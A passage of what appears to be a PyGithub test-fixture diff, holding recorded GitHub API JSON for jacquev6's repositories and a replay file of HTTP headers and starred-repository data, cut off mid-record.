/ActionTree/languages","stargazers_url":"https://api.github.com/repos/jacquev6/ActionTree/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/ActionTree/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/ActionTree/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/ActionTree/subscription","commits_url":"https://api.github.com/repos/jacquev6/ActionTree/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/ActionTree/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/ActionTree/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/ActionTree/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/ActionTree/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/ActionTree/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/ActionTree/merges","archive_url":"https://api.github.com/repos/jacquev6/ActionTree/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/ActionTree/downloads","issues_url":"https://api.github.com/repos/jacquev6/ActionTree/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/ActionTree/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/ActionTree/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/ActionTree/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/ActionTree/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/ActionTree/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/ActionTree/deployments","created_at":"2012-11-03T11:44:21Z","updated_at":"2019-05-02T15:40:21Z","pushed_at":"2019-07-11T16:19:12Z","git_url":"git://github.com/jacquev6/ActionTree.git","ssh_url":"git@github.com:jacquev6/ActionTree.git","clone_url":"https://github.com/jacquev6/ActionTree.git","svn_url":"https://github.com/jacquev6/ActionTree","homepage":"http://jacquev6.github.io/ActionTree","size":1071,"stargazers_count":3,"watchers_count":3,"language":"Python","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":2,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":2,"open_issues":0,"watchers":3,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true}},{"id":6518911,"node_id":"MDEwOlJlcG9zaXRvcnk2NTE4OTEx","name":"InteractiveCommandLine","full_name":"jacquev6/InteractiveCommandLine","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/InteractiveCommandLine","description":"Python framework for command-line executables with an interactive shell mode","fork":false,"url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine","forks_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/forks","keys_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/teams","hooks_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/events","assignees_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/tags","blobs_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/languages","stargazers_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/subscription","commits_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/merges","archive_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/downloads","issues_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/InteractiveCommandLine/deployments","created_at":"2012-11-03T11:45:12Z","updated_at":"2019-09-14T10:08:58Z","pushed_at":"2018-09-08T08:16:22Z","git_url":"git://github.com/jacquev6/InteractiveCommandLine.git","ssh_url":"git@github.com:jacquev6/InteractiveCommandLine.git","clone_url":"https://github.com/jacquev6/InteractiveCommandLine.git","svn_url":"https://github.com/jacquev6/InteractiveCommandLine","homepage":"","size":80,"stargazers_count":3,"watchers_count":3,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":2,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":2,"open_issues":0,"watchers":3,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true}},{"id":6518914,"node_id":"MDEwOlJlcG9zaXRvcnk2NTE4OTE0","name":"RecursiveDocument","full_name":"jacquev6/RecursiveDocument","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/RecursiveDocument","description":"Python library formating, in a console-friendly and human-readable way, a document specified through its structure","fork":false,"url":"https://api.github.com/repos/jacquev6/RecursiveDocument","forks_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/forks","keys_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/teams","hooks_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/events","assignees_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/tags","blobs_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/languages","stargazers_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/subscription","commits_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/merges","archive_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/downloads","issues_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/RecursiveDocument/deployments","created_at":"2012-11-03T11:45:37Z","updated_at":"2018-09-08T08:23:18Z","pushed_at":"2018-09-08T08:23:17Z","git_url":"git://github.com/jacquev6/RecursiveDocument.git","ssh_url":"git@github.com:jacquev6/RecursiveDocument.git","clone_url":"https://github.com/jacquev6/RecursiveDocument.git","svn_url":"https://github.com/jacquev6/RecursiveDocument","homepage":"http://pythonhosted.org/RecursiveDocument/","size":62,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":1,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true}},{"id":22329136,"node_id":"MDEwOlJlcG9zaXRvcnkyMjMyOTEzNg==","name":"MarblesCollide","full_name":"jacquev6/MarblesCollide","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/MarblesCollide","description":"Simulate elastic collisions of marbles","fork":false,"url":"https://api.github.com/repos/jacquev6/MarblesCollide","forks_url":"https://api.github.com/repos/jacquev6/MarblesCollide/forks","keys_url":"https://api.github.com/repos/jacquev6/MarblesCollide/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/MarblesCollide/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/MarblesCollide/teams","hooks_url":"https://api.github.com/repos/jacquev6/MarblesCollide/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/MarblesCollide/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/MarblesCollide/events","assignees_url":"https://api.github.com/repos/jacquev6/MarblesCollide/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/MarblesCollide/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/MarblesCollide/tags","blobs_url":"https://api.github.com/repos/jacquev6/MarblesCollide/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/MarblesCollide/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/MarblesCollide/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/MarblesCollide/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/MarblesCollide/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/MarblesCollide/languages","stargazers_url":"https://api.github.com/repos/jacquev6/MarblesCollide/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/MarblesCollide/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/MarblesCollide/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/MarblesCollide/subscription","commits_url":"https://api.github.com/repos/jacquev6/MarblesCollide/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/MarblesCollide/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/MarblesCollide/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/MarblesCollide/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/MarblesCollide/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/MarblesCollide/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/MarblesCollide/merges","archive_url":"https://api.github.com/repos/jacquev6/MarblesCollide/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/MarblesCollide/downloads","issues_url":"https://api.github.com/repos/jacquev6/MarblesCollide/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/MarblesCollide/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/MarblesCollide/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/MarblesCollide/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/MarblesCollide/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/MarblesCollide/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/MarblesCollide/deployments","created_at":"2014-07-28T03:07:36Z","updated_at":"2018-04-23T10:29:40Z","pushed_at":"2018-04-23T10:29:39Z","git_url":"git://github.com/jacquev6/MarblesCollide.git","ssh_url":"git@github.com:jacquev6/MarblesCollide.git","clone_url":"https://github.com/jacquev6/MarblesCollide.git","svn_url":"https://github.com/jacquev6/MarblesCollide","homepage":"http://youtu.be/9y4D8cbrjJ0","size":25,"stargazers_count":0,"watchers_count":0,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true}},{"id":24086133,"node_id":"MDEwOlJlcG9zaXRvcnkyNDA4NjEzMw==","name":"jacquev6.github.io","full_name":"jacquev6/jacquev6.github.io","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/jacquev6.github.io","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/jacquev6.github.io","forks_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/forks","keys_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/teams","hooks_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/events","assignees_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/tags","blobs_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/languages","stargazers_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/subscription","commits_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/merges","archive_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/downloads","issues_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/deployments","created_at":"2014-09-16T05:04:12Z","updated_at":"2018-04-17T09:12:05Z","pushed_at":"2018-04-17T09:12:04Z","git_url":"git://github.com/jacquev6/jacquev6.github.io.git","ssh_url":"git@github.com:jacquev6/jacquev6.github.io.git","clone_url":"https://github.com/jacquev6/jacquev6.github.io.git","svn_url":"https://github.com/jacquev6/jacquev6.github.io","homepage":null,"size":10,"stargazers_count":0,"watchers_count":0,"language":"HTML","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true}},{"id":24800231,"node_id":"MDEwOlJlcG9zaXRvcnkyNDgwMDIzMQ==","name":"LowVoltage","full_name":"jacquev6/LowVoltage","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/LowVoltage","description":"Standalone DynamoDB Python client not hiding any feature","fork":false,"url":"https://api.github.com/repos/jacquev6/LowVoltage","forks_url":"https://api.github.com/repos/jacquev6/LowVoltage/forks","keys_url":"https://api.github.com/repos/jacquev6/LowVoltage/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/LowVoltage/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/LowVoltage/teams","hooks_url":"https://api.github.com/repos/jacquev6/LowVoltage/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/LowVoltage/events","assignees_url":"https://api.github.com/repos/jacquev6/LowVoltage/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/LowVoltage/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/LowVoltage/tags","blobs_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/LowVoltage/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/LowVoltage/languages","stargazers_url":"https://api.github.com/repos/jacquev6/LowVoltage/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/LowVoltage/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/LowVoltage/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/LowVoltage/subscription","commits_url":"https://api.github.com/repos/jacquev6/LowVoltage/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/LowVoltage/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/LowVoltage/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/LowVoltage/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/LowVoltage/merges","archive_url":"https://api.github.com/repos/jacquev6/LowVoltage/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/LowVoltage/downloads","issues_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/LowVoltage/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/LowVoltage/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/LowVoltage/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/LowVoltage/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/LowVoltage/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/LowVoltage/deployments","created_at":"2014-10-04T20:02:56Z","updated_at":"2016-12-09T03:34:33Z","pushed_at":"2015-09-06T16:17:11Z","git_url":"git://github.com/jacquev6/LowVoltage.git","ssh_url":"git@github.com:jacquev6/LowVoltage.git","clone_url":"https://github.com/jacquev6/LowVoltage.git","svn_url":"https://github.com/jacquev6/LowVoltage","homepage":"http://pythonhosted.org/LowVoltage/","size":880,"stargazers_count":2,"watchers_count":2,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":1,"open_issues":1,"watchers":2,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true}}] - diff --git a/tests/ReplayData/NamedUser.testGetStarred.txt b/tests/ReplayData/NamedUser.testGetStarred.txt index fdc793bed4..11390e5de0 100644 --- a/tests/ReplayData/NamedUser.testGetStarred.txt +++ b/tests/ReplayData/NamedUser.testGetStarred.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('content-length', '5925'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4981'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 23:24:22 GMT'), ('connection', 'keep-alive'), ('etag', '"94c163fa14b07651e050e97613c9aea5"'), ('link', '; rel="first", ; rel="prev"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 07 Sep 2012 23:29:28 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"open_issues":0,"has_issues":true,"ssh_url":"git@github.com:joestein/amaunet.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/c5949edcf9e35a9aeb2584b6d4a58dcf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c5949edcf9e35a9aeb2584b6d4a58dcf","url":"https://api.github.com/users/joestein","login":"joestein","id":115151},"language":null,"svn_url":"https://github.com/joestein/amaunet","pushed_at":"2012-03-09T02:20:37Z","forks":1,"has_downloads":true,"updated_at":"2012-07-23T00:48:19Z","full_name":"joestein/amaunet","git_url":"git://github.com/joestein/amaunet.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":1,"homepage":"http://allthingshadoop.com/2010/12/16/simple-hadoop-streaming-tutorial-using-joins-and-keys-with-python/","clone_url":"https://github.com/joestein/amaunet.git","watchers_count":6,"size":84,"fork":false,"html_url":"https://github.com/joestein/amaunet","has_wiki":true,"name":"amaunet","url":"https://api.github.com/repos/joestein/amaunet","watchers":6,"open_issues_count":0,"description":"Python Streaming Example","private":false,"id":3666534,"created_at":"2012-03-09T02:03:25Z"},{"open_issues":94,"has_issues":false,"ssh_url":"git@github.com:django/django.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"fd542381031aa84dca86628ece84fc07","url":"https://api.github.com/users/django","login":"django","id":27804},"language":"Python","svn_url":"https://github.com/django/django","pushed_at":"2012-09-07T23:24:22Z","forks":840,"has_downloads":true,"updated_at":"2012-09-07T23:24:22Z","full_name":"django/django","git_url":"git://github.com/django/django.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":840,"homepage":"http://www.djangoproject.com/","clone_url":"https://github.com/django/django.git","watchers_count":4040,"size":10896,"fork":false,"html_url":"https://github.com/django/django","has_wiki":false,"name":"django","url":"https://api.github.com/repos/django/django","watchers":4040,"open_issues_count":94,"description":"The Web framework for perfectionists with 